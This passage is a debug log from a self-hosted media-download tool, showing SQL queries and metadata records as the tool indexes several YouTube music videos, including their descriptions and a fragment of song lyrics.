Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, 1, ~U[2018-10-09 08:38:00Z]] 22:22:48.126 [debug] QUERY OK source="sources" db=0.3ms idle=448.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:48.127 [debug] QUERY OK source="media_profiles" db=0.2ms idle=421.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:48.127 [debug] QUERY OK source="media_items" db=0.1ms idle=421.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 22:22:48.127 [debug] Current batch of media processed. Will check again in 1000ms 22:22:49.128 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "duration" => 210, "filename" => "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", "id" => "lJ_TSjn-khU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lJ_TSjn-khU", "playlist_index" => 2, "timestamp" => 1543147207, "title" => "Neovaii - Chase Pop", "upload_date" => "20181125"} 22:22:49.129 [debug] QUERY OK source="sources" db=0.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:49.129 [debug] QUERY OK source="sources" db=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:49.130 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-25 12:00:07Z], 1] 22:22:49.302 [debug] QUERY OK source="media_items" db=172.0ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "678d625e-f7fe-4105-90e6-bb5fbaa44910", false, "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", 2, "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, false, 1, [], 1, ~U[2018-11-25 12:00:07Z], ~U[2026-07-24 02:22:49Z], ~U[2026-07-24 02:22:49Z], "⭐ Enjoyed the music? HIT 👍 \"LIKE\" 👍 & SUBSCRIBE - Thank you! 💙\n► Check out our previous video: https://www.youtube.com/watch?v=V5qR172lACU\n► SUBSCRIBE to the channel here ► http://bit.ly/2DV5hps ◄ to see more videos! \n► Follow our Spotify Playlist: http://bit.ly/NB3Spotify 🔥\n► SPOTIFY: http://tiny.cc/nv_horizon\n► APPLE MUSIC: http://bit.ly/nv_horizon\n► ITUNES: http://smarturl.it/nv_horizon\n\n🎵 Nightblue Music 🎵\n► http://bit.ly/NB3NoCopyrightPlaylist\n► https://twitter.com/NightblueMusic\n► https://soundcloud.com/nightbluemusic\n► https://www.facebook.com/Nightblue-Music-854771237987623/\n► https://open.spotify.com/user/nightblue3/playlist/3I5PiqsI5OQh83gbG6PRJH\n\n🔶 Neovaii 🔶\n►https://soundcloud.com/neovaii\n►https://www.facebook.com/neovaii\n►https://twitter.com/neovaii\n►https://www.instagram.com/neovaii/\n\n► Background Image: https://www.pixiv.net/member_illust.php?mode=medium&illust_id=71340910\nIf we did not properly credit your artwork or if you'd like us to not use your artwork please send us an email to nightbluemusic@nightblue3.net and we will correct it immediately! \n\n🔥 Submit your own music for promotion here: https://bitsubmit.net/NBMUSIC 🔥\n\nIf you would like to request a song removal or to get in touch, please send an e-mail to nightbluemusic@nightblue3.net\n\nNeovaii - Chase Pop", "Neovaii - Chase Pop", "lJ_TSjn-khU", 210, false, "https://www.youtube.com/watch?v=lJ_TSjn-khU", "/downloads/Nightcore/Nightcore/2018-11-25Neovaii - Chase Pop[lJ_TSjn-khU].m4a", false, 1, ~U[2018-11-25 12:00:07Z]] 22:22:49.302 [debug] QUERY OK source="sources" db=0.1ms idle=767.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:49.303 [debug] QUERY OK source="media_profiles" db=0.1ms idle=173.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:49.303 [debug] QUERY OK source="media_items" db=0.1ms idle=173.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 22:22:49.303 [debug] Current batch of media processed. Will check again in 1000ms 22:22:50.304 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "duration" => 275, "filename" => "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", "id" => "BN4V98vYu8U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BN4V98vYu8U", "playlist_index" => 3, "timestamp" => 1657234092, "title" => "The Pillows - Thank you, my twilight [FLCL]", "upload_date" => "20220707"} 22:22:50.304 [debug] QUERY OK source="sources" db=0.3ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:50.305 [debug] QUERY OK source="sources" db=0.1ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:50.305 [debug] QUERY OK source="media_items" db=0.1ms idle=1001.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 22:48:12Z], 1] 22:22:50.718 [debug] QUERY OK source="media_items" db=363.7ms idle=1002.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "b6b73d9b-5fcc-4133-b9a3-eebc3bdb246f", false, "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", 3, "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, false, 1, [], 1, ~U[2022-07-07 22:48:12Z], ~U[2026-07-24 02:22:50Z], ~U[2026-07-24 02:22:50Z], "Edited by Justin Im \n\nPLEASE DO NOT POST WITHOUT PERIMISSION\n\nFLCL:\nNaota Nandaba is an ordinary sixth grader living in a city where nothing amazing ever seems to happen. After his brother Tasuku leaves town to play baseball in America, Naota takes it upon himself to look after everything Tasuku left behind—from his top bunk bed to his ex-girlfriend Mamimi Samejima, who hasn't stopped clinging to Naota since Tasuku left.\n\nLittle does Naota know, however, that his mundane existence is on the verge of being changed forever: enter Haruko Haruhara, a Vespa-riding, bass guitar-wielding, pink-haired psychopath whose first encounter with Naota leaves him with tire tracks on his back and a giant horn on his head. Though all he wants is some peace and quiet, when Haruko takes up residence at his parents' home, Naota finds himself dragged into the heart of the greatest battle for supremacy that Earth—and quite possibly the entire universe—has ever seen.\n\nhttps://myanimelist.net/anime/227/FLCL/\nhttps://www.imdb.com/title/tt0279077/\n\nSong:\nArtist: The Pillows\nAlbum: Thank You, My Twilight\nReleased: 2002\nGenres: Alternative/Indie, Japanese Rock, Japanese Indie, Rock, J-Pop\n\nhttps://www.youtube.com/watch?v=sEVTw66txkE&ab_channel=thepillows-Topic\n\n#FLCL #thepillows #JustinIm", "The Pillows - Thank you, my twilight [FLCL]", "BN4V98vYu8U", 275, false, "https://www.youtube.com/watch?v=BN4V98vYu8U", "/downloads/Nightcore/Nightcore/2022-07-07The Pillows - Thank you, my twilight [FLCL][BN4V98vYu8U].m4a", false, 1, ~U[2022-07-07 22:48:12Z]] 22:22:50.718 [debug] QUERY OK source="sources" db=0.2ms idle=413.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:50.719 [debug] QUERY OK source="media_profiles" db=0.1ms idle=413.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:50.719 [debug] QUERY OK source="media_items" db=0.2ms idle=413.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 22:22:50.719 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "duration" => 226, "filename" => "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", "id" => "zlFwo3T3UxU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zlFwo3T3UxU", "playlist_index" => 4, "timestamp" => 1779444085, "title" => "Nightcore – Like A Prayer | Wagakki Rock", "upload_date" => "20260522"} 22:22:50.719 [debug] QUERY OK source="sources" db=0.1ms idle=50.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:50.720 [debug] QUERY OK source="sources" db=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:50.720 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 10:01:25Z], 1] 22:22:50.899 [debug] QUERY OK source="media_items" db=178.5ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "39a402d5-7a0e-4c7b-8b5d-cdafe0a883d4", false, "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", 4, "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, false, 1, [], 2, ~U[2026-05-22 10:01:25Z], ~U[2026-07-24 02:22:50Z], ~U[2026-07-24 02:22:50Z], "Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "Nightcore – Like A Prayer | Wagakki Rock", "zlFwo3T3UxU", 226, false, "https://www.youtube.com/watch?v=zlFwo3T3UxU", "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", false, 1, ~U[2026-05-22 10:01:25Z]] 22:22:50.899 [debug] QUERY OK source="sources" db=0.1ms idle=180.0ms SELECT s0."id", s0."enabled", s0."uuid", 